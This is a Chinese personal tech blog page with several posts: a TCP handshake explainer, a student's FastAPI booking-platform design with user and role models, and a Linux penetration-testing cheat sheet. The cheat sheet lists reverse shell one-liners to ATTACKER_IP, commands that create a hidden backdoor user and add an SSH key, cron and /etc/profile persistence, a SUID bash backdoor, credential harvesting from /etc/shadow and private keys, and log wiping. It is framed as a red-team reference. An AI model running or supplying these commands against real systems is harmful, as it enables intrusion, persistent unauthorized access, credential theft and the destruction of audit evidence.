2025-09-21
渗透测试
00

文件解析漏洞

多后缀解析漏洞:

  • 条件:Apache2.0.x<=0.59 Apac
2025-09-20
Web
00

TCP 三次握手与四次挥细模型

一、三次握手(建立连接)

设:

  • 客户端:10.0.0.1:50000,初始序列号 ISN_c = 1000
  • 服务端:10.0.0.2:80,初始序列号 ISN_s = 2000

握手过程:

1. 第一次握手 —— Client → Server(SYN)

text
src: 10.0.0.1:50000 → dst: 10.0.0.2:80 Seq = 1000 Ack = 0 Flags = SYN Options = MSS=1460, WS=7, SACK, TSval=123456, TSecr=0
  • 客户端请求建立连接,发送 SYN。
  • 消耗一个序号(Seq=1000)。

2. 第二次握手 —— Server → Client(SYN + ACK)

text
src: 10.0.0.2:80 → dst: 10.0.0.1:50000 Seq = 2000 Ack = 1001 (确认客户端 SYN) Flags = SYN, ACK Options = MSS=1460, WS=7, SACK, TSval=654321, TSecr=123456
  • 服务端同意建立连接,返回 SYN 并确认客户端 SYN。
  • 消耗一个序号(Seq=2000)。

3. 第三次握手 —— Client → Server(ACK)

text
src: 10.0.0.1:50000 → dst: 10.0.0.2:80 Seq = 1001 Ack = 2001 (确认服务端 SYN) Flags = ACK Options = TSval=123457, TSecr=654321
  • 客户端确认服务端的 SYN。
  • 双方进入 ESTABLISHED 状态,连接建立。

二、四次挥手(关闭连接)

设:

  • 当前连接已建立,客户端下一个 Seq=1001,服务端下一个 Seq=2001。

挥手过程:

1. 第一次挥手 —— Client → Server(FIN + ACK)

text
src: 10.0.0.1:50000 → dst: 10.0.0.2:80 Seq = 1001 Ack = 2001 Flags = FIN, ACK
  • 客户端请求关闭连接,发送 FIN。
  • 消耗一个序号(Seq=1001)。

2. 第二次挥手 —— Server → Client(ACK)

text
src: 10.0.0.2:80 → dst: 10.0.0.1:50000 Seq = 2001 Ack = 1002 (确认客户端 FIN) Flags = ACK
  • 服务端确认收到客户端的 FIN。
  • 客户端进入 FIN_WAIT_2,服务端进入 CLOSE_WAIT。

3. 第三次挥手 —— Server → Client(FIN + ACK)

text
src: 10.0.0.2:80 → dst: 10.0.0.1:50000 Seq = 2001 Ack = 1002 Flags = FIN, ACK
  • 服务端发送自己的 FIN,表示要关闭连接。
  • 消耗一个序号(Seq=2001)。

4. 第四次挥手 —— Client → Server(ACK)

text
src: 10.0.0.1:50000 → dst: 10.0.0.2:80 Seq = 1002 Ack = 2002 (确认服务端 FIN) Flags = ACK
  • 客户端确认服务端的 FIN。
  • 服务端进入 CLOSED。
  • 客户端进入 TIME_WAIT,等待 2*MSL 后进入 CLOSED。

三、状态变化总结

三次握手

  • ClientCLOSED → SYN_SENT → ESTABLISHED
  • ServerLISTEN → SYN_RECEIVED → ESTABLISHED

四次挥手

  • ClientESTABLISHED → FIN_WAIT_1 → FIN_WAIT_2 → TIME_WAIT → CLOSED
  • ServerESTABLISHED → CLOSE_WAIT → LAST_ACK → CLOSED
2025-09-04
开发
00

用户模型的创建(学生,助教,管理员)和用户权限设计

用户模型:

python
class Student(Base): """学生模型""" __tablename__ = "students" id = Column(BigInteger, primary_key=True, index=True) email = Column(String(255), unique=True, index=True, nullable=False) password_hash = Column(String(255), nullable=False) name = Column(String(100), nullable=False) student_id = Column(String(50), unique=True, index=True, nullable=True) phone = Column(String(20), nullable=True) avatar_url = Column(String(500), nullable=True) role = Column(Enum(UserRole), default=UserRole.STUDENT, nullable=False) status = Column(Enum(UserStatus), default=UserStatus.ACTIVE, nullable=False) department = Column(String(100), nullable=True) grade = Column(String(10), nullable=True) last_login_at = Column(DateTime(timezone=True), nullable=True) created_at = Column(DateTime(timezone=True), server_default=func.now()) updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) def __repr__(self): return f"<Student(id={self.id}, email='{self.email}', name='{self.name}')>" class Administrator(Base): "管理员模型" __tablename__ = "administrator" id = Column(BigInteger, primary_key=True, index=True, default=0) name = Column(String(100), nullable=False, default="administrator") email = Column(String(255), unique=True, index=True, nullable=False) password_hash = Column(String(255), nullable=False) role = Column(Enum(UserRole), default=UserRole.ADMIN, nullable=False) status = Column(Enum(UserStatus), default=UserStatus.ACTIVE, nullable=False) avatar_url = Column(String(500), nullable=True) last_login_at = Column(DateTime(timezone=True), nullable=True) created_at = Column(DateTime(timezone=True), server_default=func.now()) updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) permissions = Column(String(1000), nullable=True) department = Column(String(100), nullable=True) phone = Column(String(20), nullable=True) def __repr__(self): return f"<Administrator(id={self.id}, name='{self.name}', email='{self.email}', role='{self.role}')>" class TeacherAssistant(Base): "助教模型" __tablename__ = "teacher_assistant" id = Column(BigInteger, primary_key=True, index=True) name = Column(String(100), nullable=False) email = Column(String(255), unique=True, index=True, nullable=False) password_hash = Column(String(255), nullable=False) role = Column(Enum(UserRole), default=UserRole.TEACHING_ASSISTANT, nullable=False) status = Column(Enum(UserStatus), default=UserStatus.ACTIVE, nullable=False) avatar_url = Column(String(500), nullable=True) last_login_at = Column(DateTime(timezone=True), nullable=True) created_at = Column(DateTime(timezone=True), server_default=func.now()) updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) department = Column(String(100), nullable=True) phone = Column(String(20), nullable=True) course_id = Column(String(50), nullable=True) office_hours = Column(String(255), nullable=True) def __repr__(self): return f"<TeacherAssistant(id={self.id}, name={self.name}, email={self.email})>"

权限管理:

python
class UserRole(str, PyEnum): """用户角色枚举""" STUDENT = "student" ADMIN = "administrator" TEACHING_ASSISTANT = "teaching_assistant" @property def description(self): """获取角色描述""" descriptions = { UserRole.STUDENT: "学生权限:查看课程信息、预约学习资源、查看自己的预约记录、参与协作项目、发布学习讨论、上传个人作业、查看个人成绩和进度", UserRole.TEACHING_ASSISTANT: "助教权限:所有学生权限,外加管理特定课程资源预约、审核作业、管理课程讨论区、查看课程统计数据、管理学生分组、安排辅导时间、发布课程公告", UserRole.ADMIN: "管理员权限:所有助教权限,外加用户账户管理、系统设置管理、所有资源管理、内容审核、日志管理、性能监控、数据备份恢复、API密钥管理" } return descriptions[self] @property def permissions(self): """获取角色权限列表""" # 学生权限 student_permissions = [ "view_courses", # 查看课程信息 "book_resources", # 预约学习资源 "view_own_bookings", # 查看自己的预约记录 "join_projects", # 参与协作项目 "post_discussions", # 发布学习讨论 "upload_assignments", # 上传个人作业 "view_own_grades", # 查看个人成绩和进度 "view_own_profile", # 查看个人资料 "edit_own_profile", # 编辑个人资料 ] # 助教权限 ta_extended_permissions = [ "manage_course_bookings", # 管理特定课程资源预约 "review_assignments", # 审核作业 "manage_course_discussions", # 管理课程讨论区 "view_course_statistics", # 查看课程统计数据 "manage_student_groups", # 管理学生分组 "schedule_office_hours", # 安排辅导时间 "post_course_announcements", # 发布课程公告 "grade_assignments", # 批改作业 "view_student_progress", # 查看学生进度 ] # 管理员权限 admin_extended_permissions = [ "manage_users", # 用户账户管理 "manage_system_settings", # 系统设置管理 "manage_all_resources", # 管理所有资源 "moderate_content", # 内容审核 "view_audit_logs", # 查看审计日志 "manage_audit_logs", # 管理审计日志 "monitor_system", # 性能监控 "backup_restore_data", # 数据备份恢复 "manage_api_keys", # API密钥管理 "manage_permissions", # 权限管理 "view_system_statistics", # 查看系统统计 "manage_notifications", # 管理通知系统 "export_data", # 导出数据 "import_data", # 导入数据 ] # 根据角色返回权限 if self == UserRole.STUDENT: return student_permissions elif self == UserRole.TEACHING_ASSISTANT: return student_permissions + ta_extended_permissions elif self == UserRole.ADMIN: return student_permissions + ta_extended_permissions + admin_extended_permissions else: return [] def has_permission(self, permission: str) -> bool: """检查是否具有指定权限""" return permission in self.permissions def can_access_resource(self, resource_type: str, action: str) -> bool: """检查是否可以访问特定资源""" permission_key = f"{action}_{resource_type}" return self.has_permission(permission_key) @classmethod def get_all_permissions(cls): """获取所有角色的权限汇总""" all_permissions = set() for role in cls: all_permissions.update(role.permissions) return sorted(list(all_permissions)) @classmethod def get_role_hierarchy(cls): """获取角色层级关系""" return { cls.STUDENT: 1, cls.TEACHING_ASSISTANT: 2, cls.ADMIN: 3 } def is_higher_than(self, other_role: 'UserRole') -> bool: """检查当前角色是否高于另一个角色""" hierarchy = self.get_role_hierarchy() return hierarchy.get(self, 0) > hierarchy.get(other_role, 0)

我觉得可能会有一些人恶意注册,所以还是设计了封禁等功能,这里使用用户状态记录:

python
class UserStatus(str, PyEnum): """用户状态枚举""" ACTIVE = "active" INACTIVE = "inactive" BANNED = "banned"

ps:活跃度打算学下算法搞一搞~~~(不想学习......)

2025-09-04
开发
00

前言:随着开学的临近,我觉得作为学计算机的学生,是时候复习并且继续学习计算机内容了,全栈开发一直是我比较喜欢的一个领域,正巧我在暑假前将前端后端都学了不少,也正好没有一个合适的项目进行历练,思来想去,这个项目比较有意思!

1. 项目定位

  • 面向学生和教师的 资源预约 + 学习协作 平台。
  • 功能涵盖:资源预约、冲突检测、审批流、项目协作、通知推送、报表统计。
  • 后端基于 Python + FastAPI + MySQL,前端基于 Vue3
  • 目标:可靠、可扩展、可维护,能支撑校园级使用场景。

2. 技术栈

后端

  • 框架:FastAPI(高性能、内置文档)
  • 数据库:MySQL(InnoDB,事务与行级锁)
  • ORM:SQLAlchemy + Alembic
  • 缓存:Redis(分布式锁、会话、热门数据)
  • 异步任务:Celery(邮件、报表导出、Webhook 通知)
  • 认证授权:JWT(access + refresh)
  • 日志监控:Sentry + Prometheus + Grafana
  • 部署:Docker Compose → 可升级至 Kubernetes
  • Web服务器:Apache HTTP Server

前端

  • 框架:Vue3 + Vite + TypeScript
  • 状态管理:Pinia
  • UI 组件库:Element Plus / Naive UI
  • 日历组件:FullCalendar
  • 测试:Vitest + Playwright

3. 功能模块

  1. 用户与权限
    • 角色:学生 / 助教 / 管理员
    • RBAC + ABAC(可配置策略:学院、年级、时间限制)
  2. 资源管理
    • 教室 / 实验室 / 设备
    • 属性:名称、容量、开放时段、标签
    • 管理员可增删改查
  3. 预约与冲突检测
    • 创建预约:写入数据库事务 + Redis 锁
    • 冲突检测 SQL:(start_at < :end AND end_at > :start)
    • 提示冲突并推荐最近可用时间段
  4. 审批流
    • 助教/管理员审批
    • 批量处理 + 审批原因记录
  5. 协作模块
    • 项目 → 任务 → 评论 → 附件
    • 看板视图(拖拽任务)
    • 文件版本管理(附件存储在 MinIO)
  6. 通知系统
    • 站内消息
    • 邮件(Celery 异步)
    • WebSocket 实时推送
    • Webhook(支持钉钉/企业微信机器人)
  7. 报表与导出
    • 导出 CSV/ICS(日历同步)
    • 使用率、热力图
    • 定时生成周报/月报
  8. 审计与日志
    • 所有操作写入 audit_log
    • 管理员界面可视化追踪

PS:现在就先写着网站,网站不打算上线,后期上线微信小程序(测试版),嘿嘿嘿~

2025-07-28
渗透测试
00

涵盖信息收集、提权、后门维持、清理痕迹等环节,方便在渗透测试和红队工作中快速使用。


1️⃣ 系统信息收集

命令说明
uname -a系统内核及架构信息
cat /etc/os-release发行版信息
hostname主机名
id当前用户 UID、GID
whoami当前用户名
groups查看所属组
sudo -l查看可用 sudo 权限(提权关键)
env查看环境变量
history历史命令记录(凭据搜集)
last最近登录记录

2️⃣ 网络信息收集

命令说明
ip addr查看 IP 地址和网卡
ip route查看路由表
ss -tulwn / netstat -tulnp查看监听端口
lsof -i查看网络连接和进程
tcpdump -i eth0抓包分析
arp -a查看 ARP 缓存
dig domain / nslookup domainDNS 查询
curl -I http://target查看 HTTP 头
wget http://target/file下载文件

3️⃣ 用户与凭据搜集

命令说明
cat /etc/passwd所有系统用户
cat /etc/shadow密码哈希(需 root)
grep -rnw '/' -e 'password'搜索明文密码
find / -name '*.pem' 2>/dev/null搜索私钥文件
cat ~/.ssh/id_rsa当前用户 SSH 私钥
find / -perm -4000 -type f 2>/dev/null查找 SUID 提权程序

4️⃣ 文件系统与敏感信息

命令说明
find / -name config.php 2>/dev/null搜索网站配置文件
grep -r "DB_PASSWORD" /var/www/搜索数据库凭据
ls -la /home/*查看用户主目录
cat /root/.bash_historyRoot 历史命令
find /tmp /var/tmp /dev/shm -type f查找可疑临时文件

5️⃣ 提权相关命令

命令说明
sudo -l查看可执行 sudo 命令
find / -perm -4000 -type f 2>/dev/nullSUID 文件
find / -perm -2000 -type f 2>/dev/nullSGID 文件
getcap -r / 2>/dev/null查找 Capabilities 提权点
`ps auxgrep root`查看 Root 权限进程
cat /etc/crontab定时任务提权点
cat /etc/sudoerssudo 权限配置
ls -al /etc/passwd /etc/shadow检查文件权限

6️⃣ 后门维持与反弹 Shell

反弹 Shell 命令

bash
# Bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 # Netcat nc -e /bin/bash ATTACKER_IP PORT # Python python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

创建隐藏用户

bash
useradd backdoor -m -s /bin/bash echo "backdoor:password" | chpasswd

添加 SSH 后门

bash
mkdir -p ~/.ssh echo "ATTACKER_PUBLIC_KEY" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys

7️⃣ 文件传输

命令说明
wget http://attacker/file下载文件
curl -O http://attacker/file下载文件
scp file attacker@host:/path上传文件
base64 file > file.b64编码文件传输
base64 -d file.b64 > file解码还原文件

8️⃣ 日志清理

命令说明
history -c清空当前用户历史命令
echo > ~/.bash_history清空历史记录文件
rm -f /var/log/auth.log删除身份验证日志
truncate -s 0 /var/log/syslog清空系统日志
find /var/log -type f -exec truncate -s 0 {} \;批量清空日志

9️⃣ 权限维持技巧

命令说明
echo "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1" >> /etc/profile登录后自动反弹
crontab -e定时任务执行后门脚本
`echo "* * * * * bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"crontab -`每分钟反弹
ln -s /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashSUID 后门

🔟 常用提权工具 (辅助命令)

  • wget / curl:下载提权脚本(如 LinPEAS
  • chmod +x script.sh && ./script.sh:运行提权扫描
  • python -m SimpleHTTPServer 80:快速起本地 HTTP 服务传文件
  • nc -lvnp 4444:监听反弹 shell